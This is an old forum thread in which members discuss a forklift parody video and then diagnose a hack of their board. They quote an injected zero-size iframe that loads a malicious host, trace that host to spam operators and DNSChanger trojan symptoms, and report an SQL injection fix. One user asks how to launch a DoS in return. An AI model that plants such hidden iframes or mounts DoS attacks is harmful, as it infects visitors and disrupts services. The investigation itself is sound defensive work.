Hacked Again...

[peetabix]

Driving a forklift is fun but they look down upon it when you speed around like a maniac and disregard the safety of others.

I also have a German safety video of a guy driving a forklift that is fucking hilarious, but it's not a real safety video. It would be awesome if it was, though.

Just watched the vid. I almost pissed my pants laughing :lol: .

Oh btw, i have a forklift cert. Beware !!

 

[___]

hehe, that video is old. BTW the commentary running in the background is actually taken from an original safety video... yeah...

 

[lubidog]

I loved this video, it is quite famous in England.

So can any of you excellent fellows point me in the direction of a good torrent where I can download this vid? I need to show it to my German pals here.....

Danke!

 

[White Demon]

Just use a download manager, you can download it directly from the site. The direct link is http://movies.collegehumor.com/items/2004/...humor.58393.wmv

 

[Fishbong]

Yeah, This vid is amazing
It was produced in Germany as a parody, but some companies really use it as an educational video
It won a prize in the film - festival in Cannes 2001.
Here in Germny, you can even purchase a "Staplerfahrer Klaus" DVD in some shops.

 

[EvilDragon]

Here in Germny, you can even purchase a "Staplerfahrer Klaus" DVD in some shops.

Yep, have the DVD for years

 

[pade]

Yah I think ur site has been infected by anotha "STD" AGAIN!!! <_<

(USER WAS BANNED FOR THIS POST)

 

[MadDog]

I just had IE bomb on me, had to reinstall my system yesturday ( I broke it )
Anyways, had some probs with Norton IS so it was off just so I could check the site. This morning ok, this afternoon BANG. Looking at the source there is this...

iframe src="http://196.regvista.com/index.php?ref=wde" width="0" height="0" frameborder="0"

With no protection i makes your browser hang and your HD ( i'm on XP ) go mad.

Shame this site keeps getting hacked, anyone know how to do a DOS?

That is if the above line is the hack.

 

[Dzz]

Yah I think ur site has been infected by anotha "STD" AGAIN!!! <_<

(USER WAS BANNED FOR THIS POST)

Was he really banned? He's just reporting that the site is infected again, which I noticed also a while ago.

 

[Horscht]

I also noticed this weird URL in the lower left of Firefox:

when manualy entering that URL into the adressbar of firefox, I get the message thet the URL is not available (or along those line, I am using the german language version of Firefox)

 

[epitaph]

Indeed, the board seems to have been exploited. Viewing the source yields this:

<iframe src="http://196.regvista.com/index.php?ref=wde" width="0" height="0" frameborder="0"></iframe>

The URL in particular redirects to an affrontgl.com-address. Seems like it generates a unique one too, how considerate...

However, the affrontgl.com nameservers seem quite unresponsive. Let's see if we can figure out more about them...

   Domain Name: AFFRONTGL.COM
   Registrar: ONLINE SAS
   Whois Server: whois.bookmyname.com
   Referral URL: http://www.bookmyname.com
   Name Server: AA.CHARISMDE.COM
   Name Server: BB.CHARISMDE.COM
   Status: ACTIVE
   Updated Date: 05-mar-2006
   Creation Date: 19-feb-2006
   Expiration Date: 19-feb-2007

AA.CHARISMDE.COM		A	   219.72.229.209
bb.charismde.com		A	   220.248.227.112

Searching for nameservers with the same IP as the secondary yields the following:

BB.COBBLYEA.COM
BB.CHARISMDE.COM
DD.GROOMISHNL.COM
AA.HERDSMANIF.COM
AV.METEYARDBM.COM
RR.GUSSIELJ.COM
EE.VANGELIHN.COM
BB.GALLICEN.COM
CE.NICENISTCE.COM

Let's ask spamhaus.

219.72.229.209 is listed in the SBL, in the following records:
  SBL39300

Hmm, interesting (though not surprising). Let's see what they've been up to.

219.72.229.209/32 is listed on the Register Of Known Spam Operations (ROKSO) database as being assigned to, under the control of, or providing service to a known professional spam operation

http://www.spamhaus.org/sbl/sbl.lasso?query=SBL39300

Bah, spammers.

Looking up 196.regvista.com (85.255.115.196) yields another record, SBL36702...

DNSChanger Trojan home

http://vil.mcafeesecurity.com/vil/content/v_136602.htm

Symptoms

* Presence of the file:
o %SYSTEMROOT%\SYSTEM32\HGQHP.EXE
* Having DNS entries in any of your network adaptors with the values:
o 85.255.112.132
o 85.255.113.13
* Finding traffic targeting:
o 195.95.218.100

The rest is at http://www.spamhaus.org/sbl/sbl.lasso?query=SBL36702.


Well, what to say? Patch your windows boxes, and don't use IE. The forum admins should upgrade the forum as well.

 

[Horscht]

As far as I know, they just recently upgraded the board software. What a great thin I don't use IE. Allthough Firefox is not the best browser ever, it atleast protected me from this exploit.

 

[daclassicgamingmaster]

ditto. 3rd time FF saved my ass!

btw was pade really banned? what for? :huh:

 

[yaustar]

Did it cause anyone else's Firefox to crash out?

 

[Horscht]

no.

But I noticed in the past few weeks, that after a while of browsing, my firefox takes a ridicoulusly large ammount of memory. A browser eating 351Mb is not normal. I am not sure in what relation this stands to the recent attacks on gp32x.

 

[Alex.]

Holy hell, the iframe is back. Thank you Firefox! I suspect soon, if not already, that nasty exploit will start to affect Firefox too, not only IE. Something fast must be done about this, it's certainly not normal.

- Alex

edit: fixed spelling error.

 

[hando]

I don't know how they do it (this iframe stuff) ( All possible upgrades are installed. I submitted this to IPB Client Center and now I'm waiting for their answer

 

[Zeon X]

My Firefox keep asking for user name and password saying site is ristricted.

Is every1 else getting this?



Update: Its stopped now.

 

[hando]

Ok, everything is fixed now. This iframe stuff was result of sql injection bug which is fixed now. The problem was that IPB (the company behind IPB forum) didn't notified licensed board owners about that patch. Now everything is patched and it is safe again to use IE but still I personally recommend Firefox - easy to install and 1000 x safer ))